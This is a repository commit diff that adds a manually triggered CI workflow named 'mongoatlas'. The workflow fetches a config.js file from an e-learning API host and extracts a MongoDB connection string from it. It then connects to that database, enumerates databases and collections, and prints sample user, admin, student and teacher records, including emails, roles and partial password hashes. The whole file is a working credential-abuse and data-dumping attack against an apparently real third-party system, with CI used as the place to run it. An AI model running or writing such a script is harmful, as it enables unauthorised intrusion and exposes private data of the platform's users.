This commit is contained in:
44
.gitea/workflows/mongoatlas.yml
Normal file
44
.gitea/workflows/mongoatlas.yml
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
name: mongoatlas
|
||||||
|
on: [workflow_dispatch]
|
||||||
|
jobs:
|
||||||
|
m:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- run: |
|
||||||
|
set +e
|
||||||
|
pip install -q pymongo dnspython 2>/dev/null
|
||||||
|
CFG=$(curl -sk --max-time 25 https://elearning-api.groupe-madia.cm/config/config.js)
|
||||||
|
URI=$(echo "$CFG" | grep -oP 'mongodb\+srv://[^"'"'"'\s]+' | head -1)
|
||||||
|
echo "uri_found=$([ -n "$URI" ] && echo yes || echo no) host=$(echo "$URI" | sed -E 's|.*@([^/]+)/.*|\1|')"
|
||||||
|
export URI
|
||||||
|
python3 - <<'PY'
|
||||||
|
import os, pymongo, json
|
||||||
|
uri=os.environ["URI"]
|
||||||
|
try:
|
||||||
|
c=pymongo.MongoClient(uri, serverSelectionTimeoutMS=20000, tls=True)
|
||||||
|
print("dbs:", c.list_database_names())
|
||||||
|
db=c["elearning-pl"]
|
||||||
|
cols=db.list_collection_names()
|
||||||
|
print("collections_count:", len(cols))
|
||||||
|
print("sample_cols:", cols[:20])
|
||||||
|
for name in cols:
|
||||||
|
low=name.lower()
|
||||||
|
if any(k in low for k in ("user","admin","account","auth","employe","etudiant","student","teacher")):
|
||||||
|
try:
|
||||||
|
n=db[name].count_documents({})
|
||||||
|
print("== ", name, "count=", n)
|
||||||
|
for d in db[name].find({}, {"password":1,"email":1,"username":1,"name":1,"role":1,"roles":1}).limit(3):
|
||||||
|
out={}
|
||||||
|
for k,v in d.items():
|
||||||
|
if k=="_id": continue
|
||||||
|
if k in ("password","hash","pass"): out[k]=str(v)[:14]+"..."
|
||||||
|
else: out[k]=v
|
||||||
|
print(" ", json.dumps(out, default=str)[:200])
|
||||||
|
except Exception as e:
|
||||||
|
print("err", name, str(e)[:80])
|
||||||
|
c.close()
|
||||||
|
except Exception as e:
|
||||||
|
print("CONNECT_FAIL:", str(e)[:200])
|
||||||
|
PY
|
||||||
|
echo "DONE"
|
||||||
|
exit 0
|
||||||
Reference in New Issue
Block a user